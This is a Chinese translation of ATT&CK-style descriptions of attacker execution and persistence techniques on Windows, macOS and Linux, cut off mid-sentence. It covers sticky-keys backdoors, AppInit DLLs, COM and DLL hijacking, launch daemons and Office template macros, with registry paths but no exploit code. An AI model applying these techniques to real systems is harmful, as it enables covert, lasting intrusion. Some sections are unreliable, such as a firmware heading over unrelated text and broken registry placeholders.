攻击者可以依靠用户的特定操作来获得执行。这可以是直接代码执行,例如当用户打开鱼叉式钓鱼附件 (Spearphishing Attachment) 传递的恶意可执行文件时,该文件带有图标和文档的明显文件扩展名。它还可能导致其他执行技术,例如当用户单击通过鱼叉式钓鱼链接 (Spearphishing Link) 传递的链接,从而通过客户端执行利用(Exploitation for Client Execution)实现对浏览器或应用程序的漏洞利用。虽然用户执行 (User Execution) 通常发生在初始访问(Initial Access)不久之后,但也可能发生在入侵的其他阶段,例如当攻击者将文件放置在共享目录中或用户桌面,希望用户单击它时。

Windows 管理规范

Windows 管理规范 (WMI) 是 Windows 管理的一个功能,它为本地和远程访问 Windows 系统组件提供了统一的环境。它依赖于本地和远程访问的 WMI 服务以及远程访问的服务器消息块(SMB) 和远程过程调用服务(RPCS)。RPC 在 135 端口上运行。 攻击者可以使用 WMI 与本地和远程系统进行交互,并将其用作执行许多策略功能的手段,例如收集发现的信息和远程执行文件,作为横向移动的一部分。

Windows 远程管理

Windows 远程管理(WinRM)代表允许用户与远程系统交互的 Windows 服务和协议(例如,运行可执行文件,修改注册表,修改服务)。 winrm 命令和很多程序(如 PowerShell)都可以调用它。

XSL 脚本处理

可扩展样式表语言 (XSL) 文件通常用于描述 XML 文件中的数据处理和渲染方式。 为了支持复杂的操作,XSL 标准包括对各种语言的嵌入式脚本的支持。 攻击者可能会滥用此功能来执行任意文件,同时可能会绕过应用程序白名单防御。 与可信的开发人员实用程序 (Trusted Developer Utilities) 类似,可以安装 Microsoft 命令行转换实用程序 (msxsl.exe),并使用它来执行嵌入在本地或远程(通过 URL 引用的)XSL 文件中的恶意 JavaScript。 因为在默认情况下不会安装 msxsl.exe ,攻击者可能需要将其与删除的文件打包。

分布式组件对象模型

Windows 分布式组件对象模型 (DCOM) 是一种透明的中间件,它使用远程过程调用 (RPC) 技术将组件对象模型 (COM) 的功能扩展到本地计算机之外。 COM 是 Windows 应用程序编程接口 (API) 的一个组件,它支持软件对象之间的交互。 通过 COM,客户端对象可以调用服务器对象的方法,这些方法通常是动态链接库 (DLL) 或可执行文件 (EXE)。 与本地和远程服务器 COM 对象交互的权限由注册表中的访问控制列表 (ACL) 指定。 默认情况下,只有管理员可以通过 DCOM 远程激活和启动 COM 对象。 攻击者可以使用 DCOM 进行横向移动。 通过 DCOM,在具有适当特权的用户上下文中操作的攻击者可以通过 Office 应用程序 以及其他包含不安全方法的 Windows 对象远程实现任意执行甚至直接执行 shellcode。 DCOM 还可以在现有文档 中执行宏,也可以直接通过 COM 创建的 Microsoft Office 应用程序实例调用动态数据交换(DDE),从而不需要恶意文档。 DCOM 还可以暴露能够在攻击者活动链(如特权提升和持久化)的其他部分中利用的功能。

Persistence 简介

持久化(Persistence)是指任何对系统的访问,操作或配置更改,使攻击者在该系统上持续地存在。攻击者通常需要通过中断来维持对系统的访问,例如系统重启,凭据丢失或其他需要远程访问工具重新启动或备用后门才能重新获得访问权限的故障。 其主要包含的战术内容如下: .bash_profile 和 .bashrc 在打开新 shell 或用户登录时,会在用户的上下文中执行~/.bash_profile 和~/.bashrc ,以便正确设置其环境。 ~/.bash_profile 用于登录 shell,而 ~/.bashrc 在交互式非登录 shell 中执行。 这意味着当用户(通过用户名和密码)登录到控制台(本地或通过 SSH 之类的远程)时,在初始命令提示符返回给用户前会执行~/.bash_profile。 在登录之后,每当打开一个新 shell 时,就会执行 ~/.bashrc。 这允许用户更细粒度地控制何时执行特定命令。 Mac 的 Terminal.app 略有不同,默认情况下,每次打开一个新的终端窗口都会启动登录 shell,因此调用的是~/.bash_profile 而不是~/.bashrc。 这些文件应该由本地用户写入来配置自己的环境;但是,攻击者也可以向这些文件中插入代码,以便在每次用户登录或打开新的 shell 时获得持久性。

辅助功能

Windows 包含可在用户登录前使用组合键启动的辅助功能(例如,当用户在 Windows 登录屏幕上时)。攻击者可以修改这些程序的启动方式,以获取命令提示符或后门而无需登录系统。 两个常用的辅助功能程序,C:\Windows\System32\sethc.exe 按下五次 Shift 键启动。C:\Windows\System32\utilman.exe 按下 Windows + U 组合键启动。sethc.exe 程序通常被称为“粘性密钥”,并且已被攻击者用于通过远程桌面登录屏幕进行未经身份验证的访问。 由于代码完整性增强,攻击者可能会以不同的方式利用这些功能,具体取决于 Windows 的版本。在较新版本的 Windows 中,替换的二进制文件需要对 x64 系统进行数字签名,二进制文件必须在 %systemdir%\,并且必须受 Windows File 或 Resource Protection (WFP / WRP)保护。 debugger 很可能作为一种潜在的解决方法,因为它不需要替换相应的辅助功能二进制文件。 两种方法的示例: A. 对于 Windows XP 及更高版本以及 Windows Server 2003 / R2 及更高版本上的简单二进制替换,例如,程序(例如 C:\Windows\System32\utilman.exe)可以替换为“cmd.exe”(或提供后门访问的其他程序)。随后,在键盘前或通过远程桌面协议连接时,在登录屏幕上按下相应的组合键,从而使替换的文件以 SYSTEM 权限执行。 B. 对于 Windows Vista 及更高版本以及 Windows Server 2008 及更高版本的 debugger 方法,可以修改注册表项,以配置“cmd.exe”或其他提供后门访问的程序,作为辅助功能程序的“debugger”。(例如,“utilman.exe”)。修改注册表后,在键盘前或与 RDP 连接时在登录屏幕上按相应的组合键将使“debugger”程序以 SYSTEM 权限执行。 屏幕键盘: C:\Windows\System32\osk.exe 放大镜: C:\Windows\System32\Magnify.exe 旁白: C:\Windows\System32\Narrator.exe 显示切换器:C:\Windows\System32\DisplaySwitch.exe App 切换器: C:\Windows\System32\AtBroker.exe

账户操作

帐户操作可以帮助攻击者维持对环境中的凭据和特定权限级别的访问权限。操作可以包括修改权限、修改凭据、添加或更改权限组、修改帐户设置或修改身份验证的执行方式。这些操作还可以包括旨在破坏安全策略的帐户活动,例如重复更新密码来破坏有关密码持续时间的策略并保持已盗取凭据的有效性。攻击者必须在系统或域上具有足够的权限才能创建或操作帐户。

AppCert DLLs

注册表键 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager 中的 AppCertDLLs 值指定的动态链接库 (DLL) 会被加载到每个调用常用的应用程序编程接口 (API) 函数的进程如下: CreateProcess CreateProcessAsUser CreateProcessWithLoginW 其中,CreateProcessWithTokenW 类似于进程注入,攻击者可以滥用该值,通过使恶意 DLL 被加载并在计算机上独立进程的上下文中运行,实现持久化和特权升级。

AppInit DLLs

注册表键值 AppInit_DLLs 位于 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows或 HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows。 它所指向的动态链接库(DLL)都会加载到每个使用到 User32.DLL 的进程实际上,这几乎等同于所有程序。因为 user32.dll 是一个十分常见的库。类似于进程注入,攻击者可以滥用这些值,通过使恶意 DLL 被加载并在计算机上独立进程的上下文中运行,实现持久化和特权升级。在 Windows 8 和更高版本中开启安全引导 (secure boot) 模式时,AppInit DLL 功能会被禁用。

应用 Shimming

创建 Microsoft Windows 应用程序兼容性基础架构/框架 (Application Shim) 是为了在操作系统代码库随时间变化的同时保持软件的向后兼容性。 例如,应用程序 shimming 特性允许开发人员将补丁应用于为 Windows XP 创建的应用程序(不需要重新编写代码),这样它就可以兼容 Windows 10。 在框架中,创建 shims 作为程序(或更具体地说,导入地址表)和 Windows 操作系统之间的缓冲区。 在执行程序时,将引用 shim 缓存来确定程序是否需要使用 shim 数据库 (.sdb)。 如果需要,shim 数据库使用 Hooking 根据需要重定向代码,以便与 OS 通信。 当前由默认 Windows 安装程序 (sdbin.exe) 安装的所有 shim 的列表保存在: - %WINDIR%\AppPatch\sysmain.sdb - hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb 自定义数据库存储在: %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom 为了保证 shim 的安全,Windows 将它们设为在用户模式下运行,这样它们就无法修改内核,您必须具有管理员权限才能安装 shim 。 但是,某些 shim 可以用来绕过用户帐户控制 (UAC) (RedirectEXE)、将 DLL 注入进程 (InjectDLL)、禁用数据执行保护 (DisableNX) 和结构异常处理 (DisableSEH) 以及截获内存地址 (GetProcAddress)。 与 hook 类似,使用这些 shim 可能允许攻击者执行一些恶意行为,如提升权限、安装后门、禁用如 Windows Defender 的防御等。

身份验证包

Windows 身份验证包 DLL 在系统启动时由本地安全机构(LSA)进程加载。 它们支持操作系统的多登录过程和多安全协议。 攻击者可以使用 LSA 身份验证包提供的自动启动机制来实现持久化,方法是在 Windows 注册表 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\位置放置对二进制文件的引用,该键值为"Authentication Packages"=。在加载身份验证包时,系统将执行该二进制文件。

BITS 作业

Windows 后台智能传输服务 (BITS) 是一种低带宽、异步的文件传输机制,通过组件对象模型 (COM) 供外部调用。 更新程序、消息传递程序和其他应用程序通常使用 BITS 进行后台操作(使用可用的空闲带宽),不会中断其他联网应用程序。 文件传输任务实现为 BITS 作业,它包含一个或多个文件操作的队列。 可以通过 PowerShell 和 BITSAdmin 工具访问创建和管理 BITS 作业的接口。 攻击者可能会滥用 BITS 来下载、执行,甚至在运行恶意代码后清理痕迹。 BITS 任务在 BITS 作业数据库中是自包含的,不需要新文件或修改注册表,而且通常被主机防火墙允许。 了 BITS 启用执行还可以通过创建长期作业(默认最大生存期为 90 天,可延长)或在作业完成或出现错误(包括系统重新启动后)时调用任意程序来实现持久化 (Persistence )。 BITS 上传功能也可以用于在备用协议上进行数据渗漏 (Exfiltration Over Alternative Protocol)。

Bootkit

bootkit 是一种恶意软件变体,它修改硬盘驱动器的引导扇区,包括主引导记录 (MBR) 和卷引导记录 (VBR)。 攻击者可以使用 bootkits 在操作系统下面的层上的系统上持久存在,这可能使得难以执行全面的补救,除非组织怀疑使用的 bootkit 并且可以相应地采取行动。 主引导记录 MBR 是 BIOS 完成硬件初始化后首先加载的磁盘部分。它是引导加载程序的位置。对引导驱动器有原始访问权限的攻击者可能会覆盖此区域,从而在启动期间将执行从正常的引导加载程序转移到攻击者代码。 卷引导记录 MBR 将引导过程的控制权传递给 VBR。与 MBR 的情况类似,具有对引导驱动器的原始访问权限的攻击者可能会覆盖 VBR 以将启动期间的执行转移到攻击者代码。

浏览器扩展

浏览器扩展或插件是可以添加功能和自定义 internet 浏览器的小程序。 可以直接安装它们,也可以通过浏览器的应用程序商店安装。 扩展通常具有对浏览器可以访问的所有内容的访问和权限。 恶意扩展可以通过伪装成合法扩展的恶意应用程序商店下载文件、通过社会工程或经由已经成功攻击系统的攻击者安装到浏览器中。 浏览器应用程序商店的安全性可能受到限制,因此恶意扩展绕过自动扫描程序并上传可能并不困难。 扩展安装完成后,它可以在后台浏览网站, 窃取用户输入到浏览器的所有信息,包括凭证 ,并作为 RAT 病毒的安装程序用于持久化。 目前已有僵尸网络通过恶意 Chrome 扩展使用持久性后门的例子。也有类似的扩展用于命令与控制 的例子。

更改默认文件关联

打开文件时,系统将检查用于打开文件的默认程序(也称为文件关联或处理程序)文件关联选择存储在 Windows 注册表中,可以由具有注册表访问权限的用户、管理员或 程序编辑,也可以由使用内置 assoc 实用程序的管理员编辑。 应用程序可以修改给定文件扩展名的文件关联,以便在打开具有特定扩展名的文件时调用任意程序。 系统文件关联列在HKEY_CLASSES_ROOT.
, for example HKEY_CLASSES_ROOT.txt. 条目指向位于 HKEY_CLASSES_ROOT
的扩展处理程序。然后在 HKEY_CLASSES_ROOT
\shell
\命令中将各种命令作为子键列在 shell 键下面。例如: HKEY_CLASSES_ROOT\txtfile\shell\open\command HKEY_CLASSES_ROOT\txtfile\shell\print\command* HKEY_CLASSES_ROOT\txtfile\shell\printto\command 列出的键值是句柄打开文件扩展名时执行的命令。攻击者可以修改这些值以持续执行任意命令。

组件固件

攻击者可以使用多个具有不同命令与控制协议的远程访问工具来规避检测。 如果一种类型的工具被检测到并被屏蔽或删除,而组织没有完全了解攻击者的工具和访问权限,那么攻击者将能够维持对网络的访问权限。 攻击者还可能试图获得对有效帐户的访问权,以使用外部远程服务(如外部 vpn) 来维护访问权限,尽管目标网络中部署的远程访问工具会受到干扰。 可以使用 Web Shell 来通过外部可访问的 Web 服务器维持对某一网络的访问权限。

组件对象模型劫持

组件对象模型 (COM) 是 Windows 中的一个系统,它支持软件组件之间通过操作系统交互。 攻击者可以使用该系统插入恶意代码,这些代码可以通过劫持 COM 引用和关系作为持久化的手段来代替合法软件执行。 劫持 COM 对象需要更改 Windows 注册表,以替换对合法系统组件的引用,这可能导致该组件在执行时无法正常工作。 当该系统组件通过正常的系统操作执行时,攻击者的代码将被执行。 攻击者很可能劫持那些经常使用的对象,以保持一致的持久性,但不太可能破坏系统中的明显功能,避免系统不稳定而触发检测。

创建账户

具有足够访问级别的攻击者可以创建本地系统或域帐户。 这些帐户可用持久化,不需要在系统上部署持久远程访问工具。 net user 命令可用于创建本地或域帐户。

DLL 搜索顺序劫持

Windows 系统使用常见方法来查找需要加载到程序中的 DLL。 攻击者可以利用 Windows DLL 搜索顺序和未明确指明 DLL 的程序来提权和持久化攻击。 攻击者可以执行 DLL 预加载,也称为二进制种植攻击 。执行该攻击的方式是将与未明确的 DLL 同名的恶意 DLL 放置到某一位置,这个位置在合法 DLL 所在位置前被 Windows 搜索到。 该位置通常是程序的当前工作目录。当程序在加载 DLL 之前将其当前目录设置为远程目录(如 Web 共享),会发生远程 DLL 预加载攻击。 攻击者可能会这样做使得程序加载恶意 DLL。 攻击者还可以通过替换现有 DLL 或修改。manifest 或。local 重定向文件,目录或 Junction 来直接修改程序加载 DLL 的方式,以使程序加载不同的 DLL 以持久化攻击或提权。 如果有 DLL 搜索顺序漏洞的程序配置为在更高的权限级别运行,则加载的由攻击者控制的 DLL 也将在更高级别执行。在这种情况下,该技术可用于从用户到管理员或 SYSTEM 或从管理员到 SYSTEM 的权限升级,具体取决于程序。 被路径劫持的程序可能看起来正常,因为可以配置 恶意 DLL 使其同时加载它们所替换的合法 DLL。

Dylib 劫持

macOS 和 OS X 使用一种常见的方法来查找所需的动态库 (dylib),根据搜索路径将其加载到程序中。 攻击者可以利用有歧义的路径来植入 dylib 来提权或获得持久性。 一种常见的方法是查看应用程序使用了哪些 dylib,然后在搜索路径的上方植入一个同名的恶意版本。 这通常使 dylib 与应用程序位于同一个文件夹中。 如果程序配置为在比当前用户更高的权限级别运行,那么当 dylib 加载到应用程序中时,dylib 也将在该高权限级别运行。 这可以被攻击者用于提权。

外部远程服务

诸如 vpn、Citrix 等远程服务和其他访问机制允许用户从外部连接到企业内部的网络资源。 通常由远程服务网关来管理这些服务的连接和凭据验证。 Windows 远程管理 (Windows Remote Management) 等服务也可以在外部使用。 攻击者可以使用远程服务来获取对网络的访问权并维持访问权限。 使用该服务通常需要有效帐户的访问权,可以通过凭证嫁接 (Pharming) 获取或在攻击企业网络后从用户处获得凭证。 访问远程服务可以用作冗余访问的一部分。

文件系统权限缺陷

进程可以自动执行特定二进制文件作为其功能的一部分,或执行其他操作。如果对包含目标二进制文件的文件系统目录的权限或对二进制文件本身的权限设置不正确,则目标二进制文件可能会被另一个使用用户级权限的二进制文件覆盖并由原始进程执行。如果原始进程和线程在更高的权限级别下运行,则替换的二进制文件也将在更高级别的权限下执行,其中可能包括 SYSTEM。 攻击者可以使用此技术将合法二进制文件替换为恶意二进制文件,作为在更高权限级别执行代码的方法。如果将进程设置为在特定时间或某个特定事件(例如,系统启动)期间运行,则该技术也可用于持久化。 A. 服务 操作 Windows 服务二进制文件是此技术的一种变体。攻击者可以用自己的可执行文件替换合法的服务可执行文件,以获得持久性和/或提权到服务运行所需的帐户上下文。(本地/域帐户,SYSTEM,LocalService 或 NetworkService)一旦服务被启动,不管由用户直接启动(如果有合适的访问)或通过其他方式,例如系统重启时启动服务,都将运行替换的可执行文件,而不是原来的可执行服务。 B. 可执行的安装程序 这种技术的另一种变体利用可执行的自解压安装程序的常见缺陷。在安装过程中,安装程序通常使用%TEMP%目录下的子目录来解压缩二进制文件,例如 DLL,EXE 或其他有效载荷。当安装程序创建子目录和文件时,通常没有设置适当的权限来限制写入,这使子目录中的不受信代码得以执行或安装时使用的二进制文件被覆盖。这种行为可以利用 DLL 搜索顺序劫持。一些安装程序可能需要更高的权限,这将导致执行攻击者控制的代码时被提权。该行为与绕过用户帐户控制有关。一些存在该缺陷的现有通用安装程序的例子已经报告给软件供应商。

隐藏文件和隐藏目录

为了防止普通用户意外更改系统上的特殊文件,大多数操作系统都具有“隐藏”文件的概念。当用户使用GUI浏览文件系统或在命令行上使用常规命令时,这些文件不会显示。用户必须通过一系列图形用户界面(GUI)提示或使用命令行开关(dir/a对于Windows以及ls –a的Linux和macOS)明确要求显示隐藏文件。 攻击者可以利用此优势来隐藏系统上任何位置的文件和文件夹,以实现持久性,并逃避不包含对隐藏文件的调查的典型用户或系统分析。

Hook

Windows 进程通常利用应用程序编程接口(API)函数来执行需要可重用系统资源的任务。Windows API 函数通常作为导出函数存储在动态链接库(DLL)中。Hook 涉及将调用重定向到这些功能,可以通过以下方式实现: hook 程序,它拦截并执行指定的代码以响应诸如消息,击键和鼠标输入之类的事件。 导入地址表(IAT)hookk,它修改进程的 IAT,其中存储指向导入的 API 函数的指针。 内联 hook,它覆盖 API 函数中的第一个字节以重定向代码流。 与进程注入类似,攻击者可以使用 hook 在另一个进程的上下文中加载和执行恶意代码,秘密执行的同时还可以访问进程的内存和潜在的高级权限。当通过正常使用调用函数时,安装 hook 机制也可以通过连续调用提供持久性。 恶意 hook 机制还可以捕获 API 调用,其中包含显示 Credential Access 的用户身份验证凭据的参数。 Rootkit 通常使用 hook 来隐藏文件,进程,注册表项和其他对象,以隐藏恶意软件和相关行为。

Hypervisor

类型-1 Hypervisor 是位于客户操作系统和系统硬件之间的软件层。它为操作系统提供了一个虚拟的运行环境。常见 hypervisor 的例子是 Xen。 类型-1 hypervisor 的操作级别低于操作系统,设计时可添加 Rootkit 功能,以向客户操作系统隐藏它的存在。 该类型的恶意 hypervisor 可以通过中断在系统上实现持久化。

图像文件执行选项注入

图像文件执行选项(IFEO)使开发人员可以将调试器附加到应用程序。创建进程后,应用程序IFEO中存在的调试器将以该应用程序的名称为前缀,从而在调试器下有效地启动新进程(例如,“ C:\dbg\ ntsd.exe -g notepad.exe”)。

内核模块和扩展

可加载内核模块 (LKMs) 是可以根据需要加载和卸载到内核中的代码片段。 它们不需要重启系统即可扩展内核的功能。 例如,设备驱动程序是一类模块,它使内核可以访问连接到系统的硬件。 恶意使用时,可加载内核模块 (LKM) 可以是一种内核模式的 Rootkit,具有最高的操作系统特权 (Ring 0)。 攻击者可以利用可加载内核模块来隐秘地在系统上实现持久化,并规避防御。 在民间已经发现了一些例子,并且有一些开源项目。 基于 LKM 的 rootkit 的常见特性包括:隐藏自身、选择性地隐藏文件、进程和网络活动,以及篡改日志,提供经过身份验证的后门,并允许非特权用户启用 root 访问权限。 内核扩展,也称为 kext,在 macOS 中用于将功能加载到系统,类似于 Linux 的 LKM。 它们通过 kextload 和 kextunload 命令进行加载和卸载。 已经发现了几个可以使用该方法的例子。 在民间发现了一些例子。

LSASS 驱动程序

Windows 安全子系统是管理和执行计算机或域的安全策略的组件集。 本地安全权威 (Local Security Authority, LSA) 是负责本地安全策略和用户身份验证的主要组件。 LSA 包括与各种其他安全功能相关联的多个动态链接库 (DLL),所有这些功能都在 LSA 子系统服务 (LSASS) lsass.exe 上下文中运行。 攻击者可能以 lsass.exe 驱动程序为目标,从而获得执行和/或持久性。 通过替换或添加非法驱动程序(例如,DLL 侧载(DLL Side-Loading)或 DLL 搜索顺序劫持(DLL Search Order Hijacking)),攻击者可以实现由连续 LSA 操作触发的任意代码执行。

启动代理

苹果的开发者文档,每个用户的桌面进程启动用户登录其负载从属性列表中的每个发射点播用户代理的参数中发现的(plist)文件/System/Library/LaunchAgents,/Library/LaunchAgents和$HOME/Library/LaunchAgents。这些启动代理具有指向将要启动的可执行文件的属性列表文件。 攻击者可能会安装新的启动代理,该启动代理可以配置为在登录时执行,方法是使用launchd或launchctl将plist加载到适当的目录中 。可以使用相关操作系统或良性软件中的名称来伪装代理名称。启动代理是使用用户级特权创建的,并在他们登录时以用户特权执行。可以将它们设置为在特定用户登录时(在特定用户的目录结构中)或任何用户登录时(需要管理员权限)执行。

启动守护程序

根据Apple的开发人员文档,当启动macOS和OS X时,将运行启动来完成系统初始化。此过程从/System/Library/LaunchDaemons和/Library/LaunchDaemons 中找到的属性列表(plist)文件中为每个按需启动的系统级守护程序加载参数。这些LaunchDaemons具有属性列表文件,这些文件指向将要启动的可执行文件。 对手可能会安装新的启动守护程序,该启动守护程序可以配置为在启动时执行,方法是使用launchd或launchctl将plist加载到适当的目录中。可以通过使用相关操作系统或良性软件名称来伪装守护程序名称 。启动守护程序可以使用管理员特权创建,但是在root特权下执行,因此攻击者还可以使用服务将特权从管理员升级到root。 plist文件的权限必须是root:wheel,但是它指向的脚本或程序没有这样的要求。因此,不良的配置可能允许对手修改当前的启动守护程序的可执行文件并获得持久性或特权升级。

Launchctl

Launchctl 控制 macOS 的启动进程,该进程处理诸如启动代理和启动守护进程之类的事情,但是可以自己执行其他命令或程序。 Launchctl 支持交互地在命令行上获取子命令,甚至可以从标准输入重定向。 通过加载或重新加载启动代理或启动守护进程,攻击者可以获得持久性或执行他们 所做的更改。 从 launchctl 运行命令就像 launchctl submit -l - /Path/to/thing/to/execute "arg" "arg" "arg" "arg"一样简单。 可能需要提升特权才可以加载、卸载或重新加载启动代理或启动守护进程。 如果系统允许 launchctl,攻击者可以滥用此功能来执行代码,甚至绕过白名单。

本地作业调度

在 Linux 和 macOS 系统上,有多种方法可以创建预定的和周期性的后台作业:cron、at、 和 launchd。与 Windows 系统上的调度任务不同,基于 linux 的系统上的作业调度不能远程完成,除非与已建立的远程会话(如 secure shell (SSH)) 结合使用。 A. cron 通过修改/etc/crontab,/etc/cron.d/目录或 Cron 守护进程支持的其他位置可以安装系统级的 cron 作业。而每个用户的 Cron 作业是通过 crontab 使用具有特定格式的 crontab 文件安装的。­它在 macOS 和 Linux 系统上都有效。 这些方法允许在没有用户交互的情况下在后台以特定的周期间隔执行命令或脚本。攻击者可以利用作业调度在系统启动时执行程序或为了持久性而在预定的基础上执行程序, 作为横向移动的一部分执行,获取 root 权限,或者在特定帐户的上下文中运行进程。 B. at at 程序是另一种方式,基于 POSIX 的系统(包括 macOS 和 Linux)。用于将程序或脚本作业安排在之后的日期和/或时间执行,这也可以用于相同的目的。 C. launchd 每个 launchd 作业由不同的配置属性列表 (plist) 文件描述,该文件类似于启动守护进程 (Launch Daemon ) 或启动代理 (Launch Agent),不过它包括名为 StartCalendarInterval 的附加键,该键包含一个时间值的字典。这只适用于 macOS 和 OS X。

登录项目

MacOS提供了列出用户登录时要运行的特定应用程序的选项。这些应用程序在登录用户的上下文中运行,并且将在用户每次登录时启动。使用“服务管理框架”安装的登录项在菜单中不可见。系统偏好设置,只能由创建它们的应用程序删除
。用户可以直接控制使用共享文件列表安装的登录项目,这些文件也可以在“系统偏好设置” 中看到。这些登录项存储在用户~/Library/Preferences/目录中的名为
的plist文件中。com.apple.loginitems.plist 。这些应用程序中的一些可以向用户打开可见的对话框,但是由于可以“隐藏”窗口,因此不必全部打开。如果攻击者可以注册自己的登录项或修改现有的登录项,则每次用户登录时,他们都可以使用它来为持久性机制执行其代码。API方法 SMLoginItemSetEnabled 可用于设置登录项,但是脚本语言(如AppleScript)也可以做到这一点。

登录脚本

A. Windows Windows 允许特定用户或用户组登录系统时运行登录脚本。 脚本可用于执行管理功能,这些功能通常需要执行其他程序或将信息发送到内部日志记录服务器。 如果攻击者有权限访问这些脚本,他们可以在登录脚本中插入其他代码,以便在用户登录时执行他们的工具。如果该脚本是本地的,这段代码可以让他们在单个系统上实现长久控制。如果脚本存储在中央服务器上并被推送到许多系统,那么这样做可以帮助攻击者在网络横向移动。访问登录脚本可能需要本地凭据或管理员帐户,这取决于脚本的访问配置。 B. Mac 只要特定用户登录或退出系统,Mac 就允许以 root 身份运行登录和注销钩子。登录钩子告知 Mac OS X 在用户登录时应执行哪一脚本,与启动项不同的是,登录钩子以 root 身份执行 。但是一次只能执行一个登录钩子。如果攻击者有权限访问这些脚本,他们可以在脚本中插入其他代码,以便在用户登录时执行攻击者的工具。

修改现有服务

Windows 服务配置信息(包括服务的可执行文件或恢复程序/命令的文件路径)存储在注册表中。可以使用 sc.exe 和 Reg 等工具修改服务配置。 攻击者可以使用系统或自定义工具与 Windows API 进行交互来修改现有服务,从而在系统上保留恶意软件。使用现有服务是一种伪装方式,可能使检测分析更难。修改现有服务可能会停止其功能,或者可能启用已被禁用或不常用的服务。 攻击者还可能故意破坏或终止服务以执行恶意恢复程序/命令。

Netsh Helper DLL

Netsh.exe(也称为 Netshell) 是一个命令行脚本工具,用于与系统的网络配置进行交互。 它可以添加 helper DLL,从而扩展实用程序的功能。 注册 netsh.exehelper DLL 的路径会保存到 Windows 注册表的 HKLM\SOFTWARE\Microsoft\Netsh 中。 当利用另一种持久化技术自动执行 netsh.exe 或者系统上存在其他将执行 netsh.exe 作为其正常的一部分的持久化软件时, 攻击者可以利用带有 helper DLL 的 netsh.exe 持久地代理执行任意代码。 示例包括一些调用 netsh.exe 的 VPN 软件。 存在使用 netsh.exe helper DLL 加载 Cobalt Strike 的 payload 的概念证明代码。

新建服务

当操作系统启动时,它们会启动称为服务的程序或软件,这些程序和软件执行后台系统功能。服务的配置信息,包括服务的可执行文件路径,都存储在 Windows 注册表中。 攻击者可以安装新的服务,通过使用实用程序与服务交互或直接修改注册表来配置该服务,使其在启动时执行。服务名称可以使用相关操作系统的名称或伪装的良性软件的名称来伪装。服务可以由管理员创建,但在 SYSTEM 权限下执行,因此攻击者也可以利用服务将权限从管理员提升到 SYSTEM。攻击者也可以通过服务执行(Service Execution)直接启动服务。

Office 应用程序启动

Microsoft Office 是企业网络中基于 Windows 操作系统的相当常见的应用程序套件。 在基于 Office 的应用程序启动阶段,可以利用 Office 的多种机制实现持久化。 A. Office 模板宏 Microsoft Office 包含一些模板,它们是常用 Office 应用程序的一部分,用于自定义样式。 每次启动应用程序时都会使用其对应的基本模板。 Office Visual Basic for Applications (VBA) 宏 可以插入到基本模板中,并用于在各个 Office 应用程序启动时执行代码,以获得持久性。 目前已经发现并公布了 Word 和 Excel 的相关例子。 Word 会默认创建 Normal.dotm 模板,可以更改它以包含恶意宏。 Excel 没有默认创建的模板文件,但是可以添加自动加载的模板文件。 Word Normal.dotm 位置:C:\Users(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm Excel Personal.xlsb 位置:C:\Users(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB 攻击者可能需要启用宏以达到任意执行,这取决于系统或企业的关于使用宏的安全策略。 B. Office 测试 在该注册表位置放入 DLL 引用时,每次启动 Office 应用程序时都会执行二进制路径指向的相应 DLL HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf C. 插件 可以使用 Office 插件程序向 Office 程序添加功能。 加载项也可用于获取持久性,因为可以将其设为在 Office 应用程序启动时执行代码。 各种 Office 产品可以使用不同类型的加载项;包括 Word/Excel 加载项 (WLL/XLL)、VBA 加载项、Office 组件对象模型 (COM) 加载项、自动化加载项、VBA 编辑器 (VBE) 和 Visual Studio 工具。

路径劫持

路径劫持发生在可执行文件被放在特定路径中,文件由某一应用程序执行而不是预定目标执行时。其中一个例子是在一个有漏洞的应用程序的当前工作目录中使用 cmd 副本,该应用程序使用 CreateProcess 函数加载 CMD 或 BAT 文件。 在进行路径劫持时,攻击者可以利用多个明显的缺陷或错误配置:未加引号的路径,配置错误的 PATH 环境变量和搜索顺序劫持。第一个漏洞有关完整的程序路径,而未指定程序路径会导致第二个和第三个漏洞。如果可执行文件是定期被调用的,则可以使用路径劫持技术进行持久化,如果被拦截的可执行文件由更高权限的进程启动,则可以利用该技术进行权限提升。 A. 未加引号的路径 如果服务路径(存储在 Windows 注册表项中) 和快捷路径具有一个或多个空格且未被引号括起(例如,C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe"),那么它们容易受到路径劫持的攻击,。 攻击者可以将一个可执行文件放在比原路径的更高级别目录中,然后 Windows 将解析该可执行文件而不是预期的可执行文件。例如,如果快捷方式中的路径是 C:\program files\myapp.exe,攻击者可以在C:\program.exe目录下创建程序,那么将被运行的是该程序而不是预期的程序。 B. PATH 环境变量配置错误 PATH 环境变量包含一个目录列表。如果没有给出程序路径,某些执行程序的方法(比如使用 cmd.exe 还是命令行)仅依赖于 PATH 环境变量来确定在哪些位置搜索程序。如果有目录在 PATH 环境变量中位于 Windows 目录之前,%SystemRoot%\system32(例如C:\Windows\system32)。则可以将与 Windows 程序(例如 cmd,PowerShell 或 Python)名称相同的程序放在前面的目录中, 当对应命令在脚本或命令行中被调用时,该程序会被执行。 例如,如果 C:\example path 在 PATH 环境变量中在 C:\Windows\system32 前面,那么当命令行执行“net”时, 位于 C:\example path 的 net.exe 将会被调用,而不是 Windows 系统的 “net”。 C. 搜索顺序劫持 搜索顺序劫持发生在攻击者滥用 Windows 对于未给出路径的程序的搜索顺序时。执行程序的方法不同,搜索顺序也会不同。 但是,Windows 通常在搜索 Windows 系统目录之前搜索启动程序目录。攻击者如果发现易受搜索顺序劫持攻击的程序(即未指定可执行文件路径的程序),可以通过创建以 未正确指定的程序命名的程序并将其放在启动程序的目录中来利用此漏洞。 例如,“example.exe”使用命令行参数net user运行“cmd.exe” 。攻击者可以将名为“net.exe”的程序放在与 example.exe 相同的目录中,执行“example.exe”时将运行该“net.exe”而不是 Windows 系统实用程序 net。此外,如果攻击者将名为“net.com”的程序放在与“net.exe”相同的目录中,根据 PATHEXT 定义的可执行扩展的顺序。cmd.exe /C net user将执行“net.com”而不是“net.exe” , 搜索顺序劫持也是劫持 